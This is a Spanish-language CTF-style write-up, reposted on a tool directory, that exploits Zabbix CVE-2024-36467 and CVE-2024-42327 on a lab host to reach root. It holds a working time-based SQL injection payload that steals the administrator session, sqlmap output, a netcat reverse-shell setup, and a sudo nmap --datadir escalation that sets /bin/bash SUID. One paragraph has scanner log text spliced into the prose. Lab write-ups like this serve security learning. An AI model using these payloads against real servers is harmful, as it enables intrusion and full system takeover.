Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-42327 — análisis de cve-2024-42327 | Kitploit
Herramientas/GitHubGitHub/igorbf495/cve-2024-42327
Escalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónCTFPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubigorbf495/cve-2024-42327

CVE-2024-42327

hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

análisis de cve-2024-42327

Ver Repositorio

writeup CVE-2024-42327 vulnerabilidad de Zabbix

objetivo: 10.129.231.176

Información: Sé que mi objetivo es un servidor Zabbix. Recibí una cuenta de usuario estándar para iniciar sesión en Zabbix: usuario matthew contraseña 96qzn0h2e1k3. Esta cuenta tiene un usuario estándar, sin grupos ni privilegios adicionales.

Como de costumbre, comenzamos con la enumeración, vamos a hacer un escaneo de puertos usando nmap.

image

La salida de nmap nos muestra que el puerto estándar SSH y Apache2 también en el puerto estándar. También tenemos los puertos 10051 y 10050 ejecutando algún servicio de Zabbix.

Vamos a acceder a Zabbix colocando la IP en la URL del navegador y en el puerto HTTP estándar, puerto 80.

image

Esta es la pantalla de inicio de sesión de Zabbix, voy a iniciar sesión con el usuario que recibí.

image

image

En el pie de página, encontré la versión de Zabbix:

image

Usando el "padre de los tontos", investigué si ya había algún CVE de esta versión de Zabbix.

image

Después de un buen tiempo de investigación, vi que esta versión es vulnerable a CVE-2024-42327, que habla sobre una explotación de inyección SQL para obtener datos de la base de datos y escalar privilegios, y a CVE-2024-36467, que permite cambiar el rol de usuario a superusuario abusando de controles de acceso ausentes.

https://nvd.nist.gov/vuln/detail/CVE-2024-36467

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

En la documentación de Zabbix se enseña cómo hacer solicitudes HTTP para llamar a la API.

image

https://www.zabbix.com/documentation/current/en/manual/api

Envié la solicitud llamando a appiinfo.version, que nos enseña en la documentación.

image

Lo que nos devolvió lo siguiente:

{"jsonrpc":"2.0","result":"7.0.0","id":1}

Para la siguiente prueba cambié algunos parámetros en esta request para enviarla de nuevo.

image

En method, cambié de appinfo.version a user.login y agregué los parámetros username y password. Esto también lo vi en la documentación de Zabbix.

image

Nos devolvió un token:

{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}

Después de más tiempo investigando, decidí ir al repositorio de Zabbix en GitHub.

https://github.com/zabbix/zabbix

Busqué sobre CUser y encontré un archivo CUser.php.

image

Encontramos la función user.update:

root@kitploit:~
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}

No encontré ninguna verificación de autorización, así que decidí cambiar mi función a una función de superusuario, volví a la solicitud e hice los ajustes en el payload.

image

Me devolvió un error con un mensaje de invalid params.

Dando otro análisis largo al código, encontramos esta función:

root@kitploit:~
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}

De acuerdo con este fragmento, no podemos cambiar nuestros roles porque nuestro rol se verifica al extraer nuestros datos del token de la API y verificar en la base de datos si somos ese usuario. Pero analizando el código, vemos que usrgrps no tiene ninguna validación y, debido a esta falta de validación, se puede abusar para agregarnos a varios grupos a la vez. No hay ninguna verificación que impida que un usuario se agregue a sí mismo a grupos a los que no debería tener acceso.

Vamos a intentar escalar privilegios por la falta de esta validación, edité el payload y envié la request nuevamente.

image

userid 3 se refiere al ID del usuario matthew. usrgrps contiene una lista de IDs de grupo: 13 que es un grupo interno y 7 es el grupo de administradores de Zabbix. Nuestra respuesta del servidor confirma el éxito de la operación:

root@kitploit:~
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

Ahora podemos extraer los grupos de usuarios de nuestro usuario actual. Vamos a modificar la request y enviarla nuevamente.

image

Al verificar la respuesta, vemos que el usuario con ID 3 está en los grupos de administradores Interno y Zabbix.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}

En un escenario en el que un Grupo de Host válido fue asignado al grupo de administradores de Zabbix, podrán aprovechar la creación de elementos para desencadenar la ejecución remota de código, lo cual será tratado en el próximo CVE.

Explotando CVE-2024-42327

Analizando el código fuente en la clase CUser nuevamente, investigamos la función user.get en la línea 68. La línea 108 contiene una verificación con el siguiente código:

root@kitploit:~
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}

A partir de este código, si se proporciona la opción editable en la solicitud a la API, en lugar de validar el grupo de usuarios, la verificación solo validará si el ID del usuario actual coincide con el usuario actual, lo que ignora los permisos al usar la función user.get. En la línea 234, se realiza una llamada a addRelatedObjects, que es la función vulnerable que es susceptible a inyección SQL. Analizando la función addRelatedObject en la línea 2969, podemos ver que la mayoría de las sentencias SQL parecen seguras, hasta que llegamos a la línea 3041.

root@kitploit:~
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;

En este bloque, si se especifica la opción selectRole, se realiza una llamada insegura a la función DBSelect sin sanitizar las entradas del usuario. Esto resulta en inyecciones SQL basadas en tiempo y en Boolean Blind.

Para probar esto, tomamos un payload de este enlace y validamos si tenemos un punto de inyección exitoso en los parámetros selectRole.

image

Conseguimos un acierto y el objetivo duerme durante 5 segundos.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%

Usando Charles Proxy interceptamos la request y la guardamos en un archivo con la siguiente solicitud:

image

Ahora, usando SQLMap, intentamos identificar posibles vulnerabilidades y extraer datos de la base de datos:

image

Después de un tiempo, obtuvimos el siguiente resultado:

root@kitploit:~
available databases [2]:
[*] information_schema
[*] zabbix

De acuerdo con la salida, conseguimos exitosamente los nombres de la base de datos explotando la inyección SQL basada en tiempo.

Ahora vamos a intentar el RCE (ejecución remota de código)

Podemos utilizar agentes mal configurados para obtener ejecución remota de código. Para hacer esto a partir de la inyección SQL basada en tiempo, necesitamos filtrar la tabla de sesiones en la base de datos para ver si el usuario Admin ha sido autenticado. Desafortunadamente, por ser un ataque basado en tiempo, esto puede tomar un tiempo, por lo que incluí un script multihilo que extraerá la sesión del administrador más rápido para su uso posterior.

El payload quedó así:

image

Esta es una inyección SQL anidada basada en tiempo, donde inyectamos nuestro payload en el parámetro de nombre, agregando AND para encadenar la condición.

root@kitploit:~
SELECT * FROM (SELECT(SLEEP(...)))BEEF

Usamos una condición SELECT externa que envuelve la condición SLEEP en una subconsulta etiquetada como BEEF.

root@kitploit:~
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))

La condición SLEEP toma el valor TRUE_TIME de 1 segundo en este script y recupera el sessionid de una cuenta de administrador activa que ha sido autenticada en el sitio o API. La condición SELECT anterior recupera el primer resultado en el índice (ROW) 0 que está encapsulado en una condición MID. Usamos la condición MID para extraer el carácter en una posición específica dentro del sessionid que se incrementa y encapsula en una condición ORD. La condición ORD convierte el carácter extraído en valores ASCII para comparación y se encapsula en una condición IF. La condición IF [17:26:03] [INFO] extendiendo automáticamente rangos para prueba de técnica de inyección de consulta UNION, ya que hay al menos otra técnica (potencial) encontrada [17:26:04] [INFO] verificando si el punto de inyección en el parámetro POST (personalizado) '#1*' es un falso positivo El parámetro POST (personalizado) '#1*' es vulnerable. ¿Quieres continuar probando los otros (si los hay)? [s/N] n sqlmap identificó los siguientes puntos de inyección con un total de 77 solicitudes HTTP(s): bases de datos disponibles [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) verifica si el carácter extraído coincide con el carácter ASCII esperado (ord(char)). Si la condición se cumple y se activa la condición SLEEP, entonces hemos identificado el carácter correcto y podemos filtrar el sessionid de 32 caracteres.

Hice un script en Python y lo ejecuté.

image

image

Después de ejecutar el script, vemos que obtuvimos exitosamente la sesión de administrador en solo 30 segundos.

image

Usando el token de la API del usuario Admin, podemos proceder a crear un elemento y luego desencadenar el elemento a través de una tarea. Primero, necesitamos crear el elemento, pero necesitamos obtener los IDs de host actuales junto con sus IDs de interfaz.

image

Tuvimos la respuesta:

root@kitploit:~
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

Ahora podemos crear un elemento con el siguiente payload:

image

Antes de presionar Enter en el payload, configuramos un listener nc en el puerto 4448 y esperamos unos segundos.

image

Ahora es hora de presionar Enter en el payload.

image

Funcionó. La tarea fue creada con nuestro payload malicioso y conseguimos un RCE (ejecución remota de código), ahora tenemos acceso al servidor.

image

Ahora que tenemos acceso al servidor, vamos a la escalada de privilegios, vamos a intentar conseguir acceso root al servidor.

Como estamos en el usuario zabbix, vamos a verificar si podemos ejecutar algún demonio (programa) con permisos sudo:

image

Vemos que podemos ejecutar /usr/bin/nmap sin restricciones. Después de un tiempo investigando en internet, encontré el proyecto GTFOBins. GTFObins es un repositorio que lista binarios encontrados en sistemas Unix/Linux que pueden ser usados de forma creativa para escalada de privilegios, escapes de entornos restringidos (como chroot o contenedores) y ejecución de comandos maliciosos.

image

https://gtfobins.github.io/gtfobins/nmap/#sudo

Vamos a intentar usar el escape sudo de GTFOBins.

image

Parece que Nmap está protegido por un script wrapper, una capa adicional de protección implementada para limitar el uso de opciones potencialmente explotables en Nmap. Vamos a intentar leer el archivo /usr/bin/nmap. Lo abrimos usando el editor de texto nano y analizamos este archivo.

image

Después de mucha investigación, vi que todos los escapes de GTFOBins son inútiles en este escenario. Implementaron un wrapper para proteger a Nmap contra métodos comunes de escalada de privilegios. Me quedé sin opciones y fui a leer la biblioteca de Nmap.

Después de un buen tiempo de lectura encontré algo interesante, la opción --datadir.

https://nmap.org/book/data-files-replacing-data-files.html

root@kitploit:~
--datadir <dirname>: Specify custom Nmap data file location

Esta opción permite especificar un directorio de datos donde se almacenan scripts estándar y otros elementos esenciales de Nmap; el valor predeterminado en este caso es /usr/share/nmap. Vamos a ver los permisos de este archivo:

image

Investigando sobre estos archivos, vi que el archivo nse_main.lua es el archivo de script estándar que puede ser activado con el parámetro -sC. Es el archivo principal de script del Nmap Scripting Engine (NSE). Contiene funciones que se ejecutan cuando Nmap se usa con la opción -sC (escaneo con scripts estándar). Al crear un script malicioso con ese nombre, es posible hacer que Nmap lo ejecute automáticamente. Para explotar esto, vamos a crear un nuevo archivo en /tmp/nse_main.lua con os.execute("chmod 4755 /bin/bash").

Creé el archivo nse_main.lua que contiene el comando os.execute("chmod 4755 /bin/bash").

4755: Establece el SUID (Set User ID) en el binario /bin/bash. Esto permite que cualquier usuario que ejecute /bin/bash tenga los mismos privilegios que el propietario del archivo, que es root.

image

image

Cuando escaneamos localhost con -sC habilitado, establecemos /bin/bash como SUID y generamos un shell con el UID efectivo del usuario root.

image

--datadir=/tmp: Hace que Nmap busque sus archivos de configuración y scripts en el directorio /tmp. Esto incluye el script malicioso nse_main.lua.

-sC: Activa la ejecución de scripts estándar, incluido el script malicioso que acabamos de crear.

localhost: Hace que Nmap ejecute el escaneo en el propio sistema.

El script nse_main.lua se ejecuta con permisos de root (porque el comando se ejecutó con sudo).

image

Con el SUID activado, podemos ejecutar: /bin/bash -p

image

-p: Preserva el bit SUID y ejecuta bash con los privilegios del propietario (root).

image

uid=114: Identidad del usuario zabbix. euid=0: Efectivamente operando como root.

Ahora conseguimos privilegios root.

Descargar herramienta